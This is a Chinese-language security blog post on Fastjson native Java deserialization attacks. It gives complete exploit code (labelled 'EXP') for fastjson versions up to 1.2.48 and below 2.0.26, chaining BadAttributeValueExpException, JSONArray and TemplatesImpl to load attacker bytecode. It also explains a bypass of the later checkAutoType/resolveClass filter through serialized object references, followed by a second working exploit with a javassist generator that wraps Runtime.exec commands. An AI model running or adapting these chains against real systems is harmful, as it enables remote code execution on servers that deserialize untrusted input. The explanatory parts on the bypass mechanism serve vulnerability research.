Fastjson原生反序列化
fj1<=1.2.48 & fj2<2.0.26(目前)
先给出EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62
| import java.io.*; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.Base64; import javax.management.BadAttributeValueExpException; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import com.alibaba.fastjson.JSONArray;
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl(); Class ct = templates.getClass(); byte[] code = Files.readAllBytes(Paths.get("E:\\漏洞复现\\fjyuansheng\\target\\classes\\Calc.class")); byte[][] bytes = {code}; Field ctDeclaredField = ct.getDeclaredField("_bytecodes"); ctDeclaredField.setAccessible(true); ctDeclaredField.set(templates,bytes); Field nameField = ct.getDeclaredField("_name"); nameField.setAccessible(true); nameField.set(templates,"Chu0"); Field tfactory = ct.getDeclaredField("_tfactory"); tfactory.setAccessible(true); tfactory.set(templates,new TransformerFactoryImpl());
JSONArray jsonArray = new JSONArray(); jsonArray.add(templates);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Class c = BadAttributeValueExpException.class; Field val = c.getDeclaredField("val"); val.setAccessible(true); val.set(badAttributeValueExpException,jsonArray);
serialize(badAttributeValueExpException); unserialize("./ser.bin");
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); objectOutputStream.writeObject(badAttributeValueExpException); objectOutputStream.close(); byte[] serialize = byteArrayOutputStream.toByteArray(); System.out.println(Base64.getEncoder().encodeToString(serialize));
}
public static void serialize(Object obj) throws IOException { ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("./ser.bin")); objectOutputStream.writeObject(obj); } public static Object unserialize(String filename) throws IOException, ClassNotFoundException { ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename)); Object object = objectInputStream.readObject(); return object; } }
|
个人还是比较喜欢这条链子,也是属于fj的真原生反序列化了
利用BadAttributeValueExpException#readObjct中对于readObject的调用调用fj中的JSON#toString
由于JSON为抽象类,所以我们选用继承他的JSONArray
在toJsonString中调用传入类的getter方法,结合BadAttributeValueExpException的tostring调用,即可将链子连接起来
fj>1.2.48
WAF分析
49版本对于JSONArray类进行了readObject类的重写,在其中调用了resoleveClass
在这里调用了checkAutoType对恶意类进行了waf,对fj了解的师傅应该对这个函数并不陌生
绕过思路
如何绕过resoleveClass的检测?
我们查看ObjectInputStream#readObject0的源码
我们看switch部分,不会调用resoleveClass的就只有TC_NULL、TC_REFERENCE、TC_LONGSTRING、TC_EXCEPTION、TC_STRING这几种,但是其中有用的就只有reference引用类型了
绕过步骤
测试demo
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| package org.example;
import com.alibaba.fastjson.JSONArray; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.io.*; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.ArrayList;
public class Main { public static void main(String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl(); ArrayList<Object> arrayList = new ArrayList<>(); arrayList.add(templates); arrayList.add(templates); serialize(arrayList); }
public static void serialize(Object obj) throws IOException { ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("./ser.bin")); objectOutputStream.writeObject(obj); } public static Object unserialize(String filename) throws IOException, ClassNotFoundException { ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename)); Object object = objectInputStream.readObject(); return object; } }
|
我们断点运行一下
我们观察调用栈和断点位置,这里的elementData就存储的我们传入的两个templates对象,跟进writeObject(ObjectOutputStream#writeObject)方法
其调用了writeObject0方法,我们继续跟进
可以发现在断点处,如果我们传入的对象是已经存在的,那么就会调用writeHandle写入,也就是引用写入,这样就将我们的templates以reference格式写了进去,进而完成了绕过
简单整理:
序列化时,在这里templates先加入到arrayList中,后面在JSONArray中再次序列化TemplatesImpl时,由于在handles
这个hash表中查到了映射,后续则会以引用形式输出
反序列化时ArrayList先通过readObject恢复TemplatesImpl对象,之后恢复BadAttributeValueExpException对象,在恢复过程中,由于BadAttributeValueExpException要恢复val对应的JSONArray/JSONObject对象,会触发JSONArray/JSONObject的readObject方法,将这个过程委托给SecureObjectInputStream
,在恢复JSONArray/JSONObject中的TemplatesImpl对象时,由于此时的第二个TemplatesImpl对象是引用类型,通过readHandle恢复对象的途中不会触发resolveClass,由此实现了绕过
当然前面也提到了不仅仅是List,Set与Map类型都能成功触发引用绕过。
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91
| package org.example;
import com.alibaba.fastjson.JSONArray; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import javassist.ClassPool; import javassist.CtClass; import javassist.CtConstructor;
import javax.management.BadAttributeValueExpException; import java.io.*; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.Base64; import java.util.HashMap;
public class TestPayload { public static void setValue(Object obj, String name, Object value) throws Exception{ Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true); field.set(obj, value); }
public static byte[] genPayload(String cmd) throws Exception{ ClassPool pool = ClassPool.getDefault(); CtClass clazz = pool.makeClass("a"); CtClass superClass = pool.get(AbstractTranslet.class.getName()); clazz.setSuperclass(superClass); CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz); constructor.setBody("Runtime.getRuntime().exec(\""+cmd+"\");"); clazz.addConstructor(constructor); clazz.getClassFile().setMajorVersion(49); return clazz.toBytecode(); }
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl(); Class ct = templates.getClass(); byte[] code = Files.readAllBytes(Paths.get("E:\\漏洞复现\\fjyuansheng\\target\\classes\\shell.class")); byte[][] bytes = {code}; Field ctDeclaredField = ct.getDeclaredField("_bytecodes"); ctDeclaredField.setAccessible(true); ctDeclaredField.set(templates,bytes); Field nameField = ct.getDeclaredField("_name"); nameField.setAccessible(true); nameField.set(templates,"Chu0"); Field tfactory = ct.getDeclaredField("_tfactory"); tfactory.setAccessible(true); tfactory.set(templates,new TransformerFactoryImpl());
JSONArray jsonArray = new JSONArray(); jsonArray.add(templates);
BadAttributeValueExpException bd = new BadAttributeValueExpException(null); setValue(bd, "val", jsonArray);
HashMap hashMap = new HashMap(); hashMap.put(templates, bd);
serialize(hashMap); unserialize("./ser.bin");
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); objectOutputStream.writeObject(hashMap); objectOutputStream.close(); byte[] serialize = byteArrayOutputStream.toByteArray(); System.out.println(Base64.getEncoder().encodeToString(serialize));
} public static void serialize(Object obj) throws IOException { ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("./ser.bin")); objectOutputStream.writeObject(obj); } public static Object unserialize(String filename) throws IOException, ClassNotFoundException { ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename)); Object object = objectInputStream.readObject(); return object; } }
|